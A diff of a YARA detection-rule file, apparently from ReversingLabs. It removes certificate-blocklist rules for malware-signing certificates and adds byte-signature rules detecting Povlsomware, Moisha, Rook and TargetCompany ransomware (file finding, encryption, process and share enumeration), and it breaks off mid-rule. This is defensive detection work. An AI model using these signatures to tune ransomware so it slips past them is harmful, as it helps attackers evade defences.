REVERSINGLABS_Cert_Blocklist_05E2E6A4Cd09Ea54D665B075Fe22A256 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Povlsomware : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Povlsomware ransomware." author = "ReversingLabs" - id = "824c6b2f-081a-5f38-b949-d802f59e6ced" - date = "2020-08-05" - modified = "2023-11-08" + id = "317d7cca-4fe8-55ab-8f5f-e42be727ec26" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L27-L43" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Povlsomware.yara#L1-L64" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "43da21d9c7ae9bfcc7fe4ee69f9d46cbce1954785d56c1d424b36deb8afe592e" + logic_hash = "465dc1b1d7e9eb3091f36efb51029cd3383d05ece054e814b18f379e58c7e457" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Povlsomware" + tc_detection_factor = 5 importance = 25 + strings: + $setup_attack = { + 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? + ?? ?? 73 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 2C ?? + 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8E 69 80 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? + 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 00 00 09 17 58 0D + 09 08 8E 69 32 ?? 00 38 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 + ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 1A 6F ?? ?? ?? + ?? 00 11 ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? + 13 ?? 2B ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 00 00 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 + DE ?? 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC + 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 2A + } + $find_files = { + 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? + ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 00 06 6F ?? ?? ?? ?? 0C 2B ?? + 08 6F ?? ?? ?? ?? 0D 00 7E ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 00 00 08 6F ?? ?? ?? ?? 2D ?? + DE ?? 08 2C ?? 08 6F ?? ?? ?? ?? 00 DC 02 28 ?? ?? ?? ?? 0B 00 07 13 ?? 16 13 ?? 38 ?? + ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 00 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 11 ?? 72 ?? ?? ?? ?? + 6F ?? ?? ?? ?? 16 FE 01 2B ?? 16 13 ?? 11 ?? 2C ?? 00 11 ?? 03 28 ?? ?? ?? ?? 00 00 00 + DE ?? 26 00 00 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 2A + } + $encrypt_files = { + 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 06 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? 0B 07 2C ?? 2B ?? 02 28 ?? ?? ?? ?? 00 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 17 58 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 02 6F ?? ?? ?? + ?? 00 7E ?? ?? ?? ?? 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "*.google.com" and pe.signatures [ i ] . serial == "05:e2:e6:a4:cd:09:ea:54:d6:65:b0:75:fe:22:a2:56" and 1308182400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $setup_attack ) and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_77019A082385E4B73F569569C9F87Bb8 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Moisha : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Moisha ransomware." author = "ReversingLabs" - id = "4046a31b-d7c8-5c63-b5b2-2179b0817b03" - date = "2020-08-05" - modified = "2023-11-08" + id = "c72f654f-955e-5ff6-ac91-19fbb858265c" + date = "2022-10-11" + modified = "2022-10-11" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L45-L61" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Moisha.yara#L1-L86" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8613986005bdd30d92e633fa2058be5c43f1c530b9dc6d80ec953f12f6d66ce7" + logic_hash = "89cefbbb8ec722216721bb43eb14cc33fcd4671585051359a06b62236cbf3a6c" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Moisha" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 73 ?? ?? ?? ?? 0A 02 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 2B ?? 07 6F ?? ?? ?? ?? 0C 08 28 + ?? ?? ?? ?? 2D ?? 06 08 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? + ?? ?? ?? DC DE ?? 26 DE ?? 06 2A + } + $find_files_p2 = { + 02 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 02 28 ?? ?? ?? ?? 0A 06 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? + 0B 2B ?? 07 6F ?? ?? ?? ?? 0C 08 6F ?? ?? ?? ?? 0D 03 09 6F ?? ?? ?? ?? 04 2C ?? 04 09 + 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 2D ?? DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 6F ?? ?? + ?? ?? 6F ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 03 04 + 28 ?? ?? ?? ?? DE ?? 26 DE ?? 11 ?? 6F ?? ?? ?? ?? 2D ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? + ?? ?? ?? DC 02 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 03 11 ?? 6F ?? ?? ?? ?? 04 2C ?? 04 + 11 ?? 6F ?? ?? ?? ?? 2A + } + $find_files_p3 = { + 73 ?? ?? ?? ?? 0A 06 03 7D ?? ?? ?? ?? 06 04 7D ?? ?? ?? ?? 06 05 7D ?? ?? ?? ?? 02 28 + ?? ?? ?? ?? 39 ?? ?? ?? ?? 06 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 7B ?? + ?? ?? ?? 2C ?? 06 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 31 ?? 06 7B ?? ?? ?? ?? 2C ?? 06 FE + 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 07 17 6F ?? ?? ?? ?? 07 17 6F ?? ?? ?? + ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 07 6F ?? ?? ?? ?? DE ?? 26 DE ?? 02 28 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 12 ?? 28 ?? ?? ?? ?? 0D 09 6F ?? ?? ?? ?? 06 7B + ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 12 ?? 28 + ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 2A + } + $import_priv_key = { + 02 73 ?? ?? ?? ?? 13 ?? 11 ?? 73 ?? ?? ?? ?? 13 ?? 16 13 ?? 16 13 ?? 16 13 ?? 11 ?? 6F + ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 33 ?? 11 ?? 6F ?? ?? ?? ?? 26 2B ?? 11 ?? 20 ?? + ?? ?? ?? 33 ?? 11 ?? 6F ?? ?? ?? ?? 26 2B ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 6F + ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 2E ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 6F + ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 11 ?? 28 ?? ?? ?? ?? 13 + ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 0A 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? + 0B 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 0C 11 ?? 28 ?? ?? ?? ?? 13 ?? + 11 ?? 11 ?? 6F ?? ?? ?? ?? 0D 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 + ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 + ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? + ?? 13 ?? 12 ?? FE 15 ?? ?? ?? ?? 12 ?? 06 7D ?? ?? ?? ?? 12 ?? 07 7D ?? ?? ?? ?? 12 ?? + 08 7D ?? ?? ?? ?? 12 ?? 09 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? + ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 7D ?? ?? ?? ?? 11 ?? 13 ?? DE ?? 11 ?? + 6F ?? ?? ?? ?? DC 11 ?? 2A + } + $encrypt_files = { + 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 0A 14 0B 14 0C 16 0D 20 ?? ?? ?? ?? 13 ?? 03 19 17 1D 28 + ?? ?? ?? ?? 0B 03 19 18 1D 28 ?? ?? ?? ?? 0C 02 7B ?? ?? ?? ?? 08 17 6F ?? ?? ?? ?? 13 + ?? 07 06 16 06 8E 69 6F ?? ?? ?? ?? 13 ?? 11 ?? 16 31 ?? 11 ?? 06 16 11 ?? 6F ?? ?? ?? + ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 04 11 ?? 6F ?? ?? ?? ?? 04 6F ?? ?? ?? ?? + 13 ?? 11 ?? 8E 69 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 08 08 6F ?? ?? ?? ?? 16 6F ?? ?? ?? + ?? 26 08 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 08 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 08 + 6F ?? ?? ?? ?? 17 0D DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC DE ?? 13 ?? DE ?? 07 2C + ?? 07 6F ?? ?? ?? ?? 08 2C ?? 08 6F ?? ?? ?? ?? 09 26 DC 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AND LLC" and pe.signatures [ i ] . serial == "77:01:9a:08:23:85:e4:b7:3f:56:95:69:c9:f8:7b:b8" and 1308182400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $import_priv_key ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_4F2Ef29Ca5F96E5777B82C62F34Fd3A6 : INFO FILE +rule REVERSINGLABS_Win64_Ransomware_Rook : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Rook ransomware." author = "ReversingLabs" - id = "6cfb6ae0-8eba-503b-8bb7-ac72746d9aa2" - date = "2020-08-05" - modified = "2023-11-08" + id = "60bbfd57-18bb-58b3-9abc-ab30943bbddd" + date = "2022-01-17" + modified = "2022-01-17" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L63-L79" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Rook.yara#L1-L122" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e8f27c4a72f416a16acabb1de606fdde7dc694256809fdb952a25313dda0d34e" + logic_hash = "dc8b37e55b634de52855dd851dbaaf3e690adfb2e875d0e0c9ef5f4846c6ff30" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Rook" + tc_detection_factor = 5 importance = 25 + strings: + $find_files = { + 48 2B D6 48 8D 4C 24 ?? 48 FF C2 41 B8 ?? ?? ?? ?? F6 D8 4D 1B FF 4C 23 FA 33 D2 E8 + ?? ?? ?? ?? 45 33 C9 89 7C 24 ?? 4C 8D 44 24 ?? 48 89 7C 24 ?? 33 D2 48 8B CE FF 15 + ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 4D 8B CE 45 33 C0 33 D2 48 8B CE E8 ?? ?? ?? + ?? 8B F8 48 83 FB ?? 74 ?? 48 8B CB FF 15 ?? ?? ?? ?? 8B C7 48 8B 8C 24 ?? ?? ?? ?? + 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 5F + 5E 5D C3 49 8B 6E ?? 49 2B 2E 48 C1 FD ?? 80 7C 24 ?? ?? 75 ?? 8A 44 24 ?? 84 C0 74 + ?? 3C ?? 75 ?? 40 38 7C 24 ?? 74 ?? 4D 8B CE 48 8D 4C 24 ?? 4D 8B C7 48 8B D6 E8 ?? + ?? ?? ?? 85 C0 75 ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 75 ?? 49 8B 06 + 49 8B 56 ?? 48 2B D0 48 C1 FA ?? 48 3B EA 0F 84 ?? ?? ?? ?? 48 2B D5 48 8D 0C E8 4C + 8D 0D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 + } + $encrypt_files_p1 = { + 40 55 53 56 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? 0F + B6 05 ?? ?? ?? ?? F2 0F 11 44 24 ?? 88 44 24 ?? E8 ?? ?? ?? ?? 33 D2 48 8D 0D ?? ?? + ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 CE ?? 48 8D 4C 24 ?? 89 35 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 48 63 C8 4C 8D 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 + ?? FF 15 ?? ?? ?? ?? 48 63 C8 4C 8D 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0 + 0F 57 C9 F3 0F 7F 05 ?? ?? ?? ?? F3 0F 7F 0D ?? ?? ?? ?? F3 0F 7F 05 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 85 C0 48 89 05 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 0F 44 0D ?? ?? ?? + ?? 48 89 0D ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF C0 48 8D 15 ?? ?? + ?? ?? 4C 63 C0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 8D 15 ?? + ?? ?? ?? 48 89 05 ?? ?? ?? ?? 33 DB 48 8B 05 ?? ?? ?? ?? 45 33 C9 48 89 05 ?? ?? ?? + ?? 45 33 C0 48 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 + } + $encrypt_files_p2 = { + C1 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? C7 44 24 ?? ?? ?? + ?? ?? 89 5C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 + 8D 85 ?? ?? ?? ?? 4C 89 A4 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D + 25 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 45 33 C9 45 33 C0 4C 89 64 24 ?? 4C 89 BC 24 + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4C 8D 2D ?? ?? ?? ?? 83 + F8 ?? 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 89 5C 24 ?? + E8 ?? ?? ?? ?? 85 C0 78 ?? 4C 63 C8 4C 8D 85 ?? ?? ?? ?? 48 8D 44 24 ?? 4D 2B C1 48 + 89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 4C 89 64 24 ?? E8 ?? ?? ?? ?? + 49 8B CD FF 15 ?? ?? ?? ?? 44 8B C0 89 05 ?? ?? ?? ?? B8 ?? ?? ?? ?? 41 F7 E8 C1 FA + ?? 8B CA C1 E9 ?? 03 D1 69 CA ?? ?? ?? ?? 44 3B C1 74 ?? FF C2 4C 8D 3D ?? ?? ?? ?? + 85 D2 0F 8E ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 49 8B DD 4C 89 B4 24 ?? ?? ?? ?? 49 + } + $encrypt_files_p3 = { + 8B FF 44 8B F2 0F 1F 00 48 8B 0D ?? ?? ?? ?? 8B 91 ?? ?? ?? ?? 85 D2 74 ?? 83 FA ?? + 75 ?? 48 89 7C 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 C7 + 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 48 89 7C 24 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 + 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C7 ?? + ?? ?? ?? 48 81 C3 ?? ?? ?? ?? 49 83 EE ?? 75 ?? 4C 8B B4 24 ?? ?? ?? ?? 33 DB 48 8B + BC 24 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 FF C6 41 80 3C 34 ?? 75 ?? 48 8B 8D ?? ?? ?? + ?? 48 8D 15 ?? ?? ?? ?? 89 74 24 ?? 41 B9 ?? ?? ?? ?? 45 33 C0 4C 89 64 24 ?? FF 15 + ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 45 33 C0 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? EB ?? 48 8B 8D ?? ?? ?? ?? 48 + 8D 85 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8D 3D ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 45 33 + C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 49 8B CC FF + 15 ?? ?? ?? ?? 49 8B D4 48 8D 0D ?? ?? ?? ?? FF C0 4C 63 C0 E8 ?? ?? ?? ?? 48 8B 05 + ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 05 ?? ?? + ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ?? 48 85 C0 74 ?? 48 8B 0D ?? ?? + ?? ?? FF 50 ?? 48 8B 05 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 33 D2 44 8D 42 ?? FF D0 48 + 8B 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 48 63 85 ?? ?? ?? ?? 48 3D ?? + ?? ?? ?? 73 ?? 0F 1F 00 48 63 85 ?? ?? ?? ?? 42 C6 04 28 ?? FF 85 ?? ?? ?? ?? 48 63 + 85 ?? ?? ?? ?? 48 3D ?? ?? ?? ?? 72 ?? 4C 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? + 5E 5B 5D C3 + } + $enum_procs = { + 40 56 48 81 EC ?? ?? ?? ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? C7 44 24 + ?? ?? ?? ?? ?? 48 8B C8 48 8B F0 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 89 9C + 24 ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D 2D ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? + 0F 1F 40 ?? 0F 1F 84 00 ?? ?? ?? ?? 33 DB 48 8B FD 66 66 66 0F 1F 84 00 ?? ?? 00 00 + 48 8B 0F 48 8D 54 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? FF C3 48 83 C7 ?? 83 FB ?? 72 + ?? EB ?? 44 8B 44 24 ?? 33 D2 8D 4A ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 85 C0 74 ?? BA + ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 48 + 8B CE FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? + 48 8B 9C 24 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5E C3 + } + $enum_shares = { + 48 83 EC ?? 33 D2 C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 4C + 8B C9 48 89 44 24 ?? 8D 4A ?? 44 8D 42 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 48 89 5C 24 ?? 8B 5C 24 ?? 48 89 7C 24 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 48 8B 0D ?? + ?? ?? ?? 4C 8D 43 ?? BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 48 8B + 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C0 48 8D 54 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 66 0F + 1F 44 00 ?? 33 DB 39 5C 24 ?? 76 ?? 0F 1F 84 00 ?? ?? ?? ?? 48 8D 0C 5B 48 C1 E1 ?? + 48 03 CF F6 41 ?? ?? 74 ?? E8 ?? ?? ?? ?? EB ?? 48 8B 49 ?? E8 ?? ?? ?? ?? FF C3 3B + 5C 24 ?? 72 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 4C 8B C7 48 8D 54 24 ?? FF 15 ?? ?? ?? + ?? 85 C0 74 ?? 48 8B 0D ?? ?? ?? ?? 4C 8B C7 33 D2 FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? + FF 15 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 5C 24 ?? 48 83 C4 ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bit9, Inc" and pe.signatures [ i ] . serial == "4f:2e:f2:9c:a5:f9:6e:57:77:b8:2c:62:f3:4f:d3:a6" and 1342051200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $enum_shares ) and ( $enum_procs ) and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_7Cc1Db2Ad0A290A4Bfe7A5F336D6800C : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Targetcompany : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects TargetCompany ransomware." author = "ReversingLabs" - id = "89bc7c99-dea2-50ce-a0d2-4292c14d049e" - date = "2020-08-05" - modified = "2023-11-08" + id = "7e6983f9-2aca-5cfa-aad6-38aa64fa2062" + date = "2021-09-27" + modified = "2021-09-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L81-L97" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.TargetCompany.yara#L1-L141" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c9f91edb525a02041bc20dff25ec58323f8fabd4d2a2eca63238ecb10ccef2a6" + logic_hash = "05fa81afa8aa1e3b9955ad24a274ddef4fb32d678902af7aae6d6c67ed3bf0fd" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "TargetCompany" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Bit9, Inc" and pe.signatures [ i ] . serial == "7c:c1:db:2a:d0:a2:90:a4:bf:e7:a5:f3:36:d6:80:0c" and 1342051200 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_13C8351Aece71C731158980F575F4133 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "b6a1eb97-f0da-571e-951c-57f49cf62057" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L99-L115" - license_url = 